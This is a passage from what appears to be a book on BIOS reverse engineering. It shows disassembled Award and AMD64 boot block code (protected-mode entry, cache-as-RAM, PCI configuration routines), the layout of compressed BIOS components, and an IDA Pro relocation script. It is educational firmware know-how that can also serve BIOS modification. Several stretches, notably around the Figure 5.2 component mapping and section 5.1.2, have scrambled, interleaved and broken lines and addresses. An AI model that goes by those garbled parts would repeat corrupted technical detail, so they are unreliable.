F000:6059   dq 8F93000000FFFFh   ; Data descriptor: 
F000:6059                        ; base addr = 0000 0000h 
F000:6059                        ; segment_limit=F FFFFh, i.e., 4 GB 
F000:6059                        ; (since granularity bit is set/is 4 KB) 
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F000:6059                        ; DPL=0;Present; read-write, accessed; 
F000:6059                        ; granularity = 4 KB; 16-bit segment 
......... 
F000:6197   mov   ax, cs 
F000:6199   mov   ds, ax         ; ds = cs 
F000:619B   assume ds:F000 
F000:619B   lgdt  qword ptr GDTR_F000_6043 
F000:61A0   mov   eax, cr0 
F000:61A3   or    al, 1          ; Set PMode flag 
F000:61A5   mov   cr0, eax 
F000:61A8   jmp   far ptr 8:61ADh; jmp below in 16-Bit PMode 
F000:6059                        ; (abs addr F 61ADh) 
F000:61A8                        ; (code segment with 
F000:6059                        ; Base addr = F 0000h) 
F000:61A8                        ; Still in the BIOS ROM 
F000:61AD ; ------------------------------------------------------------- 
F000:61AD ss descriptor cache is loaded with [ss * 16] or F0000h 
F000:61AD phy addr value in the beginning of the boot block code, since 
F000:61AD ss contains F0000h (its descriptor cache) and 
F000:61AD sp contains 61C5h, the phy address pointed by ss:sp 
F000:61AD is F0000h + 61C5h, which is F61C5h phy addr. 
F000:61AD   mov   ax, 10h        ; Load ds with valid data descriptor 
F000:61B0   mov   ds, ax         ; ds = data descriptor (GDT 3rd entry), 
F000:61B0                        ; Now capable of addressing 4-GB address 
F000:61B0                        ; space 
F000:61B2   xor   bx, bx         ; bx = 0000h 
F000:61B4   xor   esi, esi       ; esi = 0000 0000h 
 
 Listing 4.4 at address F000:E062h shows that the ss register is loaded with 
F000h23; this code implies that the hidden descriptor cache register24 is loaded with ss*16 
or the F_0000h physical address value. This value is retained even when the machine is 
switched into 16-bit protected mode at address F000:61A8 in listing 4.4, because the ss 
register is not reloaded. A snippet from IA-32 Intel Architecture Software Developer's 
Manual Volume 3: System Programming Guide 2004 explains: 
 

9.1.4. First Instruction Executed 
 The first instruction that is fetched and executed following a hardware reset 
is located at physical address FFFFFFF0H. This address is 16 bytes below the 
processor's uppermost physical address. The EPROM containing the 
software-initialization code must be located at this address. The address 
FFFFFFF0H is beyond the 1-MByte addressable range of the processor while 
in real-address mode. The processor is initialized to this starting address as 
follows. The CS [code segment] register has two parts: the visible segment 
selector part and the hidden base address part. In real address mode, the 
base address is normally formed by shifting the 16-bit segment selector 

                                                 
 
23 F000h is the effective real-mode 16-bit segment in the example code. 
24 Each segment register has a corresponding descriptor cache. 
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value 4 bits to the left to produce a 20-bit base address. However, during a 
hardware reset, the segment selector in the CS register is loaded with 
F000H and the base address is loaded with FFFF0000H. The starting address 
is thus formed by adding the base address to the value in the EIP register 
(that is, FFFF0000 + FFF0H = FFFFFFF0H). 
 
 The first time the CS register is loaded with a new value after a hardware 
reset, the processor will follow the normal rule for address translation in 
real-address mode (that is, [CS base address = CS segment selector * 16]). 
To insure that the base address in the CS register remains unchanged until 
the EPROM-based software-initialization code is completed, the code must 
not contain a far jump or far call or allow an interrupt to occur (which would 
cause the CS selector value to be changed). 

 
 Also, a snippet from Doctor Dobb's Journal gives the following description 
(emphasis mine): 
 

At power-up, the descriptor cache registers are loaded with fixed, default 
values, the CPU is in real mode, and all segments are marked as read/write 
data segments, including the code segment (CS). According to Intel, each 
time the CPU loads a segment register in real mode, the base address is 16 
times the segment value, while the access rights and size limit attributes are 
given fixed, "real-mode compatible" values. This is not true. In fact, only 
the CS descriptor cache access rights get loaded with fixed values 
each time the segment register is loaded—and even then only when 
a far jump is encountered. Loading any other segment register in 
real mode does not change the access rights or the segment size 
limit attributes stored in the descriptor cache registers. For these 
segments, the access rights and segment size limit attributes are 
honored from any previous setting.... Thus it is possible to have a four 
gigabyte, read-only data segment in real mode on the 80386, but Intel will 
not acknowledge, or support this mode of operation. 

 
 If you want to know more about descriptor cache and how it works, the most 
comprehensive guide can be found in one of the issues of Doctor Dobb's Journal and in IA-
32 Intel Architecture Software Developer's Manual Volume 3: System Programming Guide 
2004, section 3.4.2 ("Segment Registers"). 
 Back to the ss register. Now, you know that the "actor" here is the descriptor 
cache register, particularly its base address part. The visible part of ss is only a placeholder 
and the "register in charge" for the real address translation is the hidden descriptor cache. 
Whatever you do to this descriptor cache will be in effect when any code, stack, or data 
value addresses are translated. In this case, you have to use stack segment with "base 
address" at the 0xF_0000 physical address in 16-bit protected mode. This is not a problem, 
because the base address part of the ss descriptor cache register already filled with 
0xF_0000 at the beginning of boot block execution. This explains why the code in listing 
4.3 can be executed flawlessly. Another example is shown in listing 4.5. 
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Listing 4.5 another ROM_CALL Macro Sample Implementation 

Address     Mnemonic 
F000:61C9   and   al, 0FEh        ; Disable multipage open 
F000:61CB   mov   sp, 61D1h 
F000:61CE   jmp   F000_6000_write_pci_byte 
F000:61CE ; ------------------------------------------------------------- 
F000:61D1   dw 61D3h 
F000:61D3 ; ------------------------------------------------------------- 
F000:61D3   mov   ax, 3           ; DRAM type = SDRAM 
......... 
F000:6015 F000_6000_write_pci_byte proc near 
F000:6015   xchg  ax, cx          ; cx = addr; ax = data 
F000:6016   shl   ecx, 10h 
F000:601A   xchg  ax, cx 
F000:601B   mov   eax, 80000000h 
F000:6021   mov   ax, cx 
F000:6023   and   al, 0FCh 
F000:6025   mov   dx, 0CF8h 
F000:6028   out   dx, eax 
F000:602A   mov   dl, 0FCh 
F000:602C   or    dl, cl 
F000:602E   mov   eax, ecx 
F000:6031   shr   eax, 10h        ; Retrieve original data in ax 
F000:6035   out   dx, al          ; Write the value 
F000:6036   retn 
F000:6036 F000_6000_write_pci_byte endp 
 
 In listing 4.5, the retn instruction at address F000:6036 will work in the end of 
F000_6000_write_pci_byte execution if ss:sp points to 0xF_61D1. Indeed, it has been 
done, because the ss register contains 0xF_0000 in its descriptor cache base address part. 
Moreover, as you can see, sp contains 61D1h. Hence, the physical address pointed to by 
ss:sp is F_0000h+61D1h, which is the F_61D1h physical address. 
 
 
4.3.3. Cache-as-RAM 
 
 Another interesting anomaly in the BIOS code is the so-called cache-as-RAM. 
Cache-as-RAM is accomplished by using the processor cache as a stack during BIOS code 
execution in the BIOS ROM chip, before the availability of RAM. Note that RAM cannot 
be used before the boot block code tests the existence of RAM. Thus, stack operation25 
must be carried out in a cumbersome way, such as using the ROM_CALL macro, as you saw 
in the previous section. 

                                                 
 
25 Stack operation is the execution of instructions that manipulate stack memory, such as push, pop, 
call, and rets. 
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 Cache-as-RAM usually exists as part of the boot block code. It resolves the lack of 
RAM to be used as stack memory in the beginning of BIOS code execution. It's not a 
common feature. It's only supported on recent processors and the BIOS. Cache-as-RAM 
implementations can be found in Award BIOS for AMD64 motherboards. In listing 4.6, I 
provide a sample implementation from the disassembled boot block of a Gigabyte K8N SLI 
motherboard. The release date of the corresponding BIOS is March 13, 2006. 
 

Listing 4.6 Cache-as-RAM Implementation Sample 

F000:0022 start_cache_as_RAM: 
F000:0022   mov   bx, offset cache_as_RAM_init_done ; bx = return offset 
F000:0025   jmp   word ptr cs:[di+2] ; jmp to init_cache_as_ram 
F000:0029 
F000:0029 cache_as_RAM_init_done: 
F000:0029   jnb   short cache_as_RAM_ok 
F000:002B   add   di, 0Eh 
F000:002E   inc   cx 
F000:002F   cmp   cx, 1 
F000:0033   jnz   short start_cache_as_RAM 
F000:0035   mov   al, 0FEh 
F000:0037   out   80h, al          ; Manufacturer's diagnostic checkpoint 
F000:0039   mov   dx, 1080h 
F000:003C   out   dx, al 
F000:003D   mov   bp, 0FEh 
F000:0040   jmp   short prepare_to_exit 
F000:0042 
F000:0042 cache_as_RAM_ok: 
F000:0042   mov   word ptr ds:0, 5243h 
F000:0048   push  word ptr ds:9Fh  ; This push instruction uses 
F000:0048                          ; the cache-as-RAM stack 
F000:004C   push  word ptr ds:0A3h 
F000:0050   mov   si, 14h 
F000:0053   mov   ds:9Fh, si 
F000:0057   mov   si, 265h 
F000:005A   mov   ds:0A3h, si 
F000:005E   mov   si, 18Dh 
F000:0061   call  sub_F000_86      ; This call instruction is using 
F000:0061                          ; the cache-as-RAM stack to work 
F000:0064   pop   word ptr ds:0A3h 
F000:0068   pop   word ptr ds:9Fh 
......... 
F000:0522 init_cache_as_ram: 
......... 
F000:0535   mov   si, offset chk_uP_done 
F000:0538   jmp   short is_Authentic_AMD 
F000:053A 
F000:053A chk_uP_done: 
F000:053A   jb    not_Authentic_AMD 
F000:053E   mov   dx, 10h       ; dx = selector number to choose from GDT 
F000:0541   mov   bx, 547h 
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F000:0544   jmp   enter_voodoo_mode 
......... 
F000:0590   xor   edx, edx 
F000:0593   wrmsr 
F000:0595   xor   eax, eax 
F000:0598   cdq                    ; edx = eax 
F000:059A   mov   ecx, 20Fh 
F000:05A0 
F000:05A0 is_MSR_200h: 
F000:05A0   wrmsr 
F000:05A2   cmp   cx, 200h 
F000:05A6   loopne is_MSR_200h 
F000:05A8   mov   cx, 259h 
F000:05AB   wrmsr 
F000:05AD   mov   cx, 26Fh 
F000:05B0 
F000:05B0 is_MSR_268h: 
F000:05B0   wrmsr 
F000:05B2   cmp   cx, 268h 
F000:05B6   loopne is_MSR_268h 
F000:05B8   mov   eax, 18181818h 
F000:05BE   mov   edx, eax 
F000:05C1   mov   cx, 250h 
F000:05C4   wrmsr 
F000:05C6   mov   cx, 258h 
F000:05C9   wrmsr 
F000:05CB   mov   edx, 6060606h    ; cache state = write-back 
F000:05CB                          ; for hi_dword, i.e., DC000h-DFFFFh 
F000:05D1   mov   cx, 26Bh         ; MTRRfix4K_D8000 
F000:05D4   wrmsr 
F000:05D6   mov   eax, 5050505h 
F000:05DC   mov   edx, eax         ; cache state = write-protect 
F000:05DF   inc   cx               ; MTRRfix4K_E0000 
F000:05E0   wrmsr 
F000:05E2   inc   cx               ; MTRRfix4K_E8000 
F000:05E3   wrmsr 
F000:05E5   inc   cx               ; MTRRfix4K_F0000 
F000:05E6   wrmsr 
F000:05E8   inc   cx               ; MTRRfix4K_F8000 
F000:05E9   wrmsr 
F000:05EB   mov   ecx, 0C0010010h 
F000:05F1   rdmsr 
F000:05F3   or    eax, 140000h 
F000:05F9   wrmsr 
F000:05FB   mov   ecx, 2FFh 
F000:0601   rdmsr 
F000:0603   movd  mm4, eax 
F000:0606   pinsrw mm4, edx, 2 
F000:060A   ror   edx, 10h 
F000:060E   pinsrw mm4, edx, 3 
F000:0612   ror   edx, 10h 
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F000:0616   mov   eax, 0C00h 
F000:061C   cdq 
F000:061E   wrmsr 
F000:0620   mov   eax, cr0 
F000:0623   or    eax, 60000000h   ; Cache disable 
F000:0629   mov   cr0, eax 
F000:062C   invd                   ; Invalidate cache 
F000:062E 
F000:062E ; Initialize 16-KB cache-as-RAM at DC000h-DFFFFh 
F000:062E   mov   ax, 0DC00h 
F000:0631   mov   ds, ax           ; ds = cache-as-RAM segment 
F000:0633   assume ds:nothing 
F000:0633   mov   es, ax 
F000:0635   assume es:nothing 
F000:0635   xor   si, si 
F000:0637   mov   eax, cr0 
F000:063A   and   eax, 9FFFFFFFh   ; Enable cache 
F000:0640   mov   cr0, eax 
F000:0643   mov   cx, 1000h 
F000:0646   rep lodsd              ; Stream 16-KB data into cache 
F000:0649   xor   eax, eax 
F000:064C   mov   cx, 1000h 
F000:064F   mov   di, ax 
F000:0651   rep stosd              ; Initialize 16-KB cache with 00h 
F000:0654   movq  qword ptr ds:819h, mm2 
F000:0659   movq  qword ptr ds:811h, mm3 
F000:065E   movq  qword ptr ds:821h, mm4 
F000:0663   mov   es, ax 
F000:0665   mov   ax, 0DC00h       ; Setup stack at segment DC00h 
F000:0668   mov   ss, ax 
F000:066A   mov   sp, 4000h        ; Initialize stack pointer to 
F000:066A                          ; the end of cache-as-RAM 
F000:066D   clc 
F000:066E 
F000:066E not_Authentic_AMD: 
F000:066E   movd  ebx, mm1 
F000:0671   psrlq mm1, 20h ; ' ' 
F000:0675   movd  ecx, mm1 
F000:0678   jmp   bx               ; jmp to cache_as_RAM_init_done 
 
 Listing 4.6 shows a cache-as-RAM sample implementation in an AMD64-based 
motherboard. The code is self-explanatory. The most important trick is shown at address 
F000:0646, where 16 KB of undefined data is "streamed" into the cache, forcing the 
content of the cache to update and forcing the cache to point to the address range assigned 
as the cache-as-RAM. At address F000:0665, the code sets up the stack at the predefined 
cache-as-RAM address, effectively using the cache as the stack for the next code within the 
boot block. 
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4.4. BIOS Disassembling with IDA Pro 
 
 You obtained enough skills in chapter 2 to use IDA Pro efficiently, and you know 
from previous sections the big picture of the BIOS binary structure. In this part, I provide 
you with the basic steps to carry out systematic BIOS reverse engineering based on that 
knowledge. 
 Disassembling a BIOS is stepping through the first instructions that the processor 
executes. Thus, the following steps are guidelines: 
 

1. Start the disassembling in the reset vector of the processor. The reset vector is the 
address of the first instruction that a processor executes. In the case of x86, it is 
0xFFFF_0000. 

2. From the reset vector, follow through the boot block execution paths. One path 
will end with a hang; this is where an error is found during boot block execution. 
Look for the path that doesn't end with a hang. The latter path will guide you 
through the system BIOS decompression process and will jump into the system 
BIOS once the boot block finished. You can emulate the decompression process 
by using IDA Pro scripts or plugins. Alternatively, if the decompressor for the 
compressed BIOS components is available, it can be used to decompress the 
system BIOS; then the decompressed system BIOS is integrated into the current 
IDA Pro disassembly database. 

3. Follow the system BIOS execution until you find the POST execution. In some 
BIOSs, the POST execution consists of jump tables. You just need to follow the 
execution of this jump table to be able to see the big picture. 

 
 The preceding steps are applicable to any type of BIOS or other x86 firmware that 
replaces the functionality of the BIOS, such as in routers or kiosks based on embedded x86 
hardware. 
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Chapter 5 Implementation of Motherboard 
BIOS 
 
 
PREVIEW 
 
 This chapter explains how the BIOS vendor implements BIOS. It researches the 
compression algorithm used by BIOS vendors and the formats of the compressed 
components inside the BIOS binary. It also dissects several BIOS binary files from 
different vendors so that you can discover their internal structure. 
 
 
5.1. Award BIOS 
 
 This section dissects an Award BIOS binary. Use the BIOS for the Foxconn 
955X7AA-8EKRS2 motherboard as sample implementation. It's Award BIOS version 
6.00PG dated November 11, 2005. The size of the BIOS is 4 Mb/512 KB. 
 
 
5.1.1. Award BIOS File Structure 
 
 An Award BIOS file consists of several components. Some of them are LZH level-
1 compressed. You can recognize them by looking at the -lh5- signature in the beginning 
of that component by using a hex editor. An example is presented in hex dump 5.1. 
 

Hex dump 5.1 Compressed Award BIOS Component Sample 

Address       Hex                                     ASCII 
00000000 25F2 2D6C 6835 2D85 3A00 00C0 5700 0000 %.-lh5-.:...W... 
00000010 0000 4120 010C 6177 6172 6465 7874 2E72 ..A ..awardext.r 
00000020 6F6D DB74 2000 002C F88E FBDF DD23 49DB om.t ..,.....#I. 
 
 Beside the compressed components, there are pure 16-bit x86 binary components. 
Award BIOS execution begins in one of these pure binary1 components. The general 
structure of a typical Award BIOS binary as follows: 
 

• Boot block. The boot block is a pure binary component; thus, it's not compressed. 
The processor starts execution in this part of the BIOS. 

• Decompression block. This is a pure binary component. Its role is to carry out the 
decompression process for the compressed BIOS components. 

                                                 
 
1 Pure binary refers to the component that is not compressed. 
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• System BIOS. This is a compressed part. Its role is to initialize the system by doing 
POST and calling other BIOS modules needed for system-wide initialization. In 
the old days, this component is always named original.tmp. Today's Award BIOS 
doesn't use that name. Nevertheless, the BIOS hacking and modification 
community often refers to this component as original.tmp. 

• System BIOS extension. This component is compressed. Its role is as a "helper" 
module for the system BIOS. 

• Other compressed components. These components are system dependent and 
mainly used for onboard device initialization, boot-sector antivirus, etc. 

 
 As per the IA-32 Intel Architecture Software Developer's Manual Volume 3: 
System Programming Guide 2004, we know that the x86 processor starts its execution in 
16-bit real mode at address 0xF000:0xFFF02 following restart or power-up. Hence, this 
address must contain 16-bit real-mode x86 executable code. It's true that 0xF000:0xFFF0 
contains the pure binary component of the BIOS, i.e., the boot block code. The boot block 
resides in the highest address range in the system memory map among the BIOS 
components, as previously shown in figure 4.7. 
 Before delving into the compressed components and the pure binary components 
of this particular Award BIOS, you need to know how the binary is mapped into the system 
address space. Figure 5.1 is the starting point. 
 

                                                 
 
2 0xF000:0xFFF0 is an alias to the reset vector at 0xFFFFFFF0. It's the chipset that carries out the 
aliasing for backward compatibility purposes. 
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Figure 5.1 Foxconn 955X7AA-8EKRS2 BIOS Mapping to System Address Map 

 
 Figure 5.1 shows clearly the address aliasing for the last two segments of the 
Award BIOS. Segment E000h is an alias to FFFE_0000h, and segment F000h is an alias to 
FFFF_0000h. Apart from the aliasing, note that the 512-KB BIOS chip occupies the last 
512-KB address range right below 4 GB. Now, check out the mapping of the BIOS binary 
in the system address map and its relation with the BIOS binary mapping in a hex editor. 
You need to know this mapping to be able to modify the BIOS binary. Figure 5.2 shows 
such a mapping. 
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Figure 5.2 Foxconn 955X7AA-8EKRS2 BIOS mapping within a hex editor 

 
 
KB h  
and 
only app a er-on. It's the default power-on value for the chipset. It's not 
guar
mapping 5.2 applies while the BIOS code execution is still in the boot 
bloc
 he mapping of compressed components in Foxconn Award 
BIO
 

3. 

4. 1_FE31h–2_00DAh: awardbmp.bmp. This is the award logo. 
5. 2_00DBh–2_5A16h: awardeyt.rom. This component is also an extension to the 

ords used in the BIOS 

 items in 

evice. 
device. 

10. 

Figures 5.1 and 5.2 are tightly coupled. Thus, you must remember that the last 128 
of t e BIOS binary is mapped into the 60000h–7FFFFh address range in the hex editor
to the E0000h–F0000h address range in system address map. Note that this mapping 

lies just fter pow
anteed to remain valid after the chipset is reprogrammed by the BIOS. However, the 

 in figures 5.1 and 
k and hasn't been copied to RAM. 

Look at the details of t
S inside a hex editor. The mapping is as follows: 

1. 0_0000h–1_4DE8h: 4bgf1p50.bin. This is the system BIOS. 
2. 1_4DE9h–1_E2FEh: awardext.rom. This is an extension to the system BIOS. The 

routines within this module are called from the system BIOS. 
1_E2FFh–1_FE30h: acpitbl.bin. This is the advanced configuration and power 
interface table. 

system BIOS. 
6. 2_5A17h–2_7F7Bh: _en_code.bin. This module stores the w

setup menu. 
7. 2_7F7Ch–2_8BB0h: _item.bin. This module contains the values related to

the BIOS setup menu. 
8. 2_8BB1h–2_FF3Dh: 5209.bin. This is an expansion ROM for an onboard d
9. 2_FF3Eh–3_62D8h: it8212.bin. This is an expansion ROM for an onboard 

3_62D9h–3_FA49h: b5789pxe.lom. This is an expansion ROM for an onboard 
device. 

11. 3_FA4Ah–4_8FDCh: raid_or.bin. This is an expansion ROM for the RAID 
controller. 

12. 4_8FDDh–4_C86Bh: cprfv118.bin. This is an expansion ROM for an onboard 
device. 
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13. 4_C86Ch–4_D396h: ppminit.rom. This is an expansion ROM for an onboard 
device. 

14. 4_D397h–4_E381h: \F1\foxconn.bmp. This is the Foxconn logo. 
15. 4_E382h–4_F1D0h: \F1\64n8iip.bmp. This is another logo displayed during boot. 

 
 After the last compressed component there are padding FFh bytes. An example of 
these padding bytes is shown in hex dump 5.2. 
 

Hex dump 5.2 Padding Bytes after Compressed Award BIOS Components 

Address  Hex                                     ASCII 
0004F1A0 66DF 6FB7 DB2D 9B55 B368 B64B 4B4B 0054 f.o..-.U.h.KKK.T 
0004F1B0 A4A4 A026 328A 2925 2525 AE5B 1830 6021 ...&2.)%%%.[.0`! 
0004F1C0 0A3A 3A3B 59AC D66A F57A BD56 AB54 04A0 .::;Y..j.z.V.T.. 
0004F1D0 00FF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0004F1E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
 
 The compressed components can be extracted easily by copying and pasting it into 
a new binary file in Hex Workshop. Then, decompress this new file by using LHA 2.55 or 
WinZip. If you are into using WinZip, give the new file an .lzh extension so that it will be 
automatically associated with WinZip. Recognizing where you should cut to obtain the new 
file is easy. Just look for the -lh5- string. Two bytes before the -lh5- string is the 
beginning of the file, and the end of the file is always 00h, right before the next compressed 
file,3 the padding bytes, or some kind of checksum. As an example, look at the beginning 
nd the ea nd of the compressed awardext.rom in the current Foxconn BIOS as seen within a 

hex editor. The bytes highlighted in yellow are the beginning of the compressed file, and 
he bytes highlighted in green are the end of compressed t

 
awardext.rom. 

Hex dum ward BIOS Component Header Sample p 5.3 Compressed A

Address                          ASCII   Hex            
00 0 6CE0 C1F9 041B C000 E725 1E2D 6C68 352D l........%.-lh5- 014DE
00014DF0 EC94 0000 40DC 0000 0000 7F40 2001 0C61 ....@......@ ..a 
00014E00 7761 7264 6578 742E 726F 6D2C 0B20 0000 wardext.rom,. .. 
00014E10 2CD0 8EF7 7EEB 1253 5EFF 7DE7 39CC CCCC ,...~..S^.}.9... 
........ 
0001E2F0 ADAB 0F89 A8B5 D0FA 84EB 46B2 0024 232D ..........F..$#- 
0001E300 6C68 352D 0D1B 0000 FC47 0000 0000 0340 lh5-.....G.....@ 
0 0 2001 0B41 4350 4954 424C 2E42 494E F3CD  ..ACPITBL.BIN.. 
 
 In the preceding hex dump, the last byte before the beginning of the compressed 
awardext.rom is not an end-of-file marker,

001E31

00h

                                                

4 i.e., not , even though the component is also 
 

 
3 The -lh5- marker in its beginning also marks the next compressed file. 
4 The end-of-file marker is a byte with 00h value. 
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in compressed state. The compressed component preceding awardext.rom is the 
compressed system BIOS, and the byte highlighted in pink is a custom checksum that 
follows the end-of-file marker for this compressed system BIOS. Other compressed 
components always end up with an end-of-file marker, and no checksum byte precedes the 
next compressed component in the BIOS binary. 
 Proceed to the pure binary component of the Foxconn BIOS. The mapping of this 
pure binary component inside the hex editor as follows: 
 

1. 6_A9C0h–6_BFFEh: The decompression block. This routine contains the LZH 
decompression engine 

2. 7_E000h–7_FFFFh: This area contains the boot block code. 
 
 Between of the pure binary components lay padding bytes. Some padding bytes 
re FFh bytes, and some are 00h bytes. 

 

 Reverse Engineering 

e engineering. The boot 
BIOS. Understanding the reverse 

 boot block is valuable, because these 
ifferent vendors. From this point on, I 

assemble the boot block routines. Now, I'll present some obscure and important areas of 
of the Foxconn 955X7AA-8EKRS2 

you learned how to start 
ation here. All you have 

t the initial load address to 8_0000h–
FFFh. Then, create new segments at FFF8_0000h–FFFD_FFFFh and relocate the 

h to that newly created segment to mimic the mapping of the 
dress map. You can use the IDA Pro script in listing 5.1 to 

e IDA Pro 
 add the 

o make it a standalone script in an ASCII file, 
. 

a

 
5.1.2. Award Boot Block
 
 This section delves into the mechanics of boot block revers
block is the key into overall insight of the motherboard 
engineering tricks needed to reverse engineer the

hniques tend to be applicable to BIOS from dtec
isd

the BIOS code in the disassembled boot block 
motherboard BIOS dated November 11, 2005. In section 2.3 

assembling a BIOS file with IDA Pro. I won't repeat that informdis
to do is open the 512-KB file in IDA Pro and se
F_F
contents of 8_0000h–D_FFFF

stem adBIOS binary in the sy
accomplish this operation. The script in listing 5.1 must be executed directly in th

rkspace scripting window that's called with Shift+F2 shortcut. You canwo
appropriate include statements if you wish t
as you learned in chapter 2
 

Listing 5.1 IDA Pro Relocation Script for Award BIOS with a 512-KB File 

auto ea, ea_src, ea_dest; 
 
/* Create segments for the currently loaded binary */ 
for(ea=0x80000; ea<0x100000; ea = ea+0x10000) 
{ 
SegCreate(ea, ea+0x10000, ea>>4, 0,0,0); 
} 
 
/* Create new segments for relocation */ 
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fo 0xFFF80000; ea<0xFFFE0000; ea = ea+0x10000) r(ea=
{ 
SegCreate(ea, ea+0x10000, ea>>4, 0,0,0); 
} 
 
/* Relocate segments */ 
ea_src = 0x80000; 
for(ea_dest=0xFFF80000; ea_dest<0xFFFE0000; ea_dest = ea_dest+4) 
{ 
PatchDword(ea_dest, Dword(ea_src)); 
ea_src = ea_src + 4; 
} 
 
/* Delete unneeded segments to mimic the system address map */ 
for(ea=0x80000; ea<0xE0000; ea = ea+0x10000) 
{ 
SegDelete(ea, 1); 
} 
 
 Note that if you have the IDA Pro 64-bit version, you can directly 

e –  address range and copy only 
load the 

nge. 
tart the disassembly at address F000:FFF0h, i.e., the reset 
t the whole disassembly here, only the disassembly of the 

in this 
 codes 

r Routine 

onfiguration Support Routine 

Foxconn Award BIOS code to th FFF8_0000h FFFF_FFFFh
 and  to the legacy BIOS area in the E_0000h–F_FFFFh address raE_seg F_seg

 After the relocation, s
vector. I'm not going to presen
"sharp corners" in the boot block execution, the places where you might become lost 

gineering journey. In addition, I will provide the disassembly ofboot block reverse-en
that provide hints. 
 
 
5.1.2.1. Boot Block Helpe
 

Listing 5.2 Disassembly of the PCI C

Address     Mnemonic 
F000:F770 read_pci_byte proc near 
F000:F770   mov   ax, 8000h 
F000:F773   shl   eax, 10h 
F000:F777   mov   ax, cx 
F000:F779   and   al, 0FCh 
F000:F77B   mov   dx, 0CF8h ; dx = PCI-configuration-address port 
F000:F77E   out   dx, eax 
F000:F780   add   dl, 4     ; dx = PCI-configuration-data port 
F000:F783   mov   al, cl 
F000:F785   and   al, 3 
F000:F787   add   dl, al 
F000:F789   in    al, dx    ; Read the corresponding register value 
F000:F78A   retn 
F000:F78A read_pci_byte endp 
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F000:F78C write_pci_byte proc near 
F0 8C   xchg  ax, cx 00:F7
F000:F78D   shl   ecx, 10h 
F000:F791   xchg  ax, cx 
F000:F792   mov   ax, 8000h 
F000:F795   shl   eax, 10h 
F000:F799   mov   ax, cx 
F000:F79B   and   al, 0FCh 
F000:F79D   mov   dx, 0CF8h ; dx = PCI-configuration-address port 
F00 70:F A0   out   dx, eax 
F00 70:F A2   add   dl, 4     ; dx = PCI-configuration-data port 
F00 70:F A5   mov   al, cl 
F000:F7A7   and   al, 3 
F000:F7A9   add   dl, al 
F00 70:F AB   mov   eax, ecx 
F00 70:F AE   shr   eax, 10h 
F000 rite value to the register :F7B2   out   dx, al    ; W
F000:F7B3   retn 
F000:F7B3 write_pci_byte endp 

outine 

ction initializes the memory-mapped root complex 
arious functions and devices within the PCI Express 

use they indicate which memory address ranges 
 tell if a particular read or write transaction into 

: Device xx: Function xx. This is used to address 
I Express bus because the PCI Express bus is 

 
 
5.1.2.2. Chipset Early Initialization R
 

is subse The routine in th
register block (RCRB) used by the v

t becachipset. These routines are importan
are used by the chipset registers. So you can
some arbitrary memory address range is a PCI Express enhanced configuration transaction 
or not. Some abbreviations are used in the comments of listing 5.3: 
 

• PCI EX refers to PCI Express. 
 xx• Bxx:Dxx:Fxx refers to Bus

devices in the PCI bus or PC
backward compatible with the PCI configuration mechanism. 

ddress register. • BAR refers to the base a
• Ctlr refers to the controller. 

 

Listing 5.3 Disassembly of the Chipset Early Initialization Routine 

F000:F600 chipset_early_init proc near 
F000:F600   shl   esp, 10h 
F000:F604   mov   si, 0F6D8h 
F000:F607 next_reg: 
F000:F607   mov   cx, cs:[si] 
F000:F60A   mov   sp, 0F610h 
F000:F60D   jmp   read_pci_byte 
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F000:F60D ; ------------------------------------------------------------- 
F000:F610   dw 0F612h 
F000:F612 ; ------------------------------------------------------------- 
F000:F612   and   al, cs:[si+2] 
F000:F616   or    al, cs:[si+3] 
F000:F61A   mov   sp, 0F620h 
F000:F61D   jmp   write_pci_byte 
F000:F61D ; ------------------------------------------------------------- 
F000:F620   dw 0F622h 
F000:F622 ; ------------------------------------------------------------- 
F000:F622   add   si, 4 
F000:F625   cmp   si, 0F744h 
F000:F629   jnz   short next_reg 
F000:F62B   mov   cx, 0F8F0h      ; root-complex mem-base-addr for B0:D31 
F000:F62E   mov   sp, 0F634h 
F000:F631   jmp   read_pci_byte 
F000:F631 ; ------------------------------------------------------------- 
F000:F634   dw 0F636h 
F000:F636 ; ------------------------------------------------------------- 
F000:F636   mov   eax, 0FED1C001h ; ICH7 root-complex mem-base-addr = 
F000:F636                         ; 0xFED1_C000 
F000:F63C   out   dx, eax 
F000:F63E   mov   cx, 48h ; 'H'   ; PCI EX BAR for B0:D0 
F000:F641   mov   sp, 0F647h 
F000:F644   jmp   read_pci_byte 
F000:F644 ; ------------------------------------------------------------- 
F000:F647   dw 0F649h 
F000:F649 ; ------------------------------------------------------------- 
F000:F649   in    al, dx 
F000:F64A   or    al, 1           ; Enable PCI EX address decoding 
F000:F64C   out   dx, al 
F000:F64D   mov   cx, 40h ; '@'   ; Egress PORT BAR 
F000:F650   mov   sp, 0F656h 
F000:F653   jmp   read_pci_byte 
F000:F653 ; ------------------------------------------------------------- 
F000:F656   dw 0F658h 
F000:F658 ; ------------------------------------------------------------ 
F000:F658   mov   eax, 0FED19001h ; HostBridge egress port mem-base-addr 
F000:F658                         ; = 0xFED1_9000 
F000:F65E   out   dx, eax 
F000:F660   mov   cx, 4Ch ; 'L'   ; DMI Port BAR 
F000:F663   mov   sp, 0F669h 
F000:F666   jmp   read_pci_byte 
F000:F666 ; ------------------------------------------------------------- 
F000:F669   dw 0F66Bh 
F000:F66B ; ------------------------------------------------------------- 
F000:F66B   mov   eax, 0FED18001h ; HostBridge DMI port mem-base-addr = 
F000:F66B                         ; 0xFED1_8000 
F000:F671   out   dx, eax 
F000:F673   mov   cx, 8ECh 
F000:F676   mov   sp, 0F67Ch 
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F000:F679   jmp   read_pci_byte 
F000:F679 ; ------------------------------------------------------------- 
F000:F67C   dw 0F67Eh 
F000:F67E ; ------------------------------------------------------------- 
F000:F67E   and   al, 0F8h 
F000:F680   or    al, 1 
F000:F682   mov   sp, 0F688h 
F000:F685   jmp   write_pci_byte 
F000:F685 ; ------------------------------------------------------------- 
F000:F688   dw 0F68Ah 
F000:F68A ; ------------------------------------------------------------- 
F000:F68A   mov   si, 54Fh 
F000:F68D   lgdt  qword ptr cs:[si] 
F000:F691   mov   eax, cr0 
F000:F694   or    al, 1 
F000:F696   mov   cr0, eax 
F000:F699   jmp   short $+2 
F000:F69B   mov   ax, 10h 
F000:F69E   mov   es, ax 
F000:F6A0   assume es:nothing 
F000:F6A0   mov   bx, 0F6A6h 
F000:F6A3   jmp   init_MCH_ICH7_PCI_ex_regs 
F000:F6A6 ; ------------------------------------------------------------- 
F000:F6A6   mov   eax, cr0 
F000:F6A9   and   al, 0FEh 
